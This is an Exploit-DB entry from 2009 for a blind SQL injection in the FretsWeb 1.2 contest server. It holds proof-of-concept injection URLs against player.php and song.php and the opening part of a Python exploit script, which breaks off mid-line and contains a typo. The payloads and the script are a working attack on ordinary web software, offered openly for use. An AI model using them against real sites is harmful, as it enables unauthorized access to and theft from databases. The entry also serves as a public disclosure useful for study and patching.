Exploit-DB #8980
Description: FretsWeb 1.2 - 'name' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-17
Author: YEnH4ckEr

Exploit:
#!/usr/bin/python
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                           VIVA SPAIN!... GANAREMOS EL MUNDIAL!...o.O                      **
#**					   PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|       	   	     (GET var 'name') BLIND SQL INJECTION EXPLOIT      	             |
#|-------------------------------------------------------------------------------------------|
#|                                    |      FretsWeb 1.2      |		    	     |
#|  CMS INFORMATION:          	      ------------------------	               	             |
#|										             |
#|-->WEB: http://sourceforge.net/projects/fretsweb/			       		     |
#|-->DOWNLOAD: http://sourceforge.net/projects/fretsweb/		                     |
#|-->DEMO: N/A										     |
#|-->CATEGORY: CMS / Games/Entertainment						     |
#|-->DESCRIPTION: Fretsweb is a Contest or Chart Server for Frets on Fire. It...             |
#|		is an improved version of FoFCS.It is meant for...          		     |
#|-->RELEASED: 2009-05-30								     |
#|											     |
#|  CMS VULNERABILITY:									     |
#|											     |
#|-->TESTED ON: firefox 3						                     |
#|-->DORK: N/A									             |
#|-->CATEGORY: BLIND SQLi PYTHON EXPLOIT					             |
#|-->AFFECT VERSION: CURRENT (MAYBE <= ?)				 		     |
#|-->Discovered Bug date: 2009-06-02							     |
#|-->Reported Bug date: 2009-06-02							     |
#|-->Fixed bug date: 2009-06-14								     |
#|-->Info patch: http://sourceforge.net/projects/fretsweb/				     |
#|-->Author: YEnH4ckEr									     |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
#|-->WEB/BLOG: N/A									     |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		     |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid name
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[PATH]/player.php?name=[valid_name]'+and+1=1%23 --> TRUE
#http://[HOST]/[PATH]/player.php?name=[valid_name]'+AND+1=0%23 --> FALSE
#
#
#http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=1%23 --> TRUE
#http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=0%23 --> FALSE
#
#--------------
#WATCH VIDEOS
#--------------
#
# BSQLi --> http://www.youtube.com/watch?v=BYrkuAN2ggI
#
# LFI --> http://www.youtube.com/watch?v=LZ8cG_sIHow
#
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#Used modules
import urllib,sys,re,os
#Defined functions
def init():
	if(sys.platform=='win32'):
		os.system("cls")
		os.system ("title FretsWeb 1.2 Blind SQL Injection Exploit")
		os.system ("color 02")
	else:
		os.sytem("clear")
	print "\t#######################################################\n\n"
	print "\t#######################################################\n\n"
	print "\t##     FretsWeb 1.2 Blind SQL Injection Exploit      ##\n\n"
	print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n"
	print "\t##       ++Needed: Valid name                        ##\n\n"
	print "\t##               Author: Y3nh4ck3r                   ##\n\n"
	print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n"
	print "\t##            Proud to be Spanish!                   ##\n\n"
	print "\t#######################################################\n\n"
	print "\t#######################################################\n\n"
	
def request(urltarget):
	conn=urllib.urlopen(urltarget)
	outcode=conn.read()
	#print outcode #--> Active this line for debugger mode
	return outcode

def error():
	print "\t-------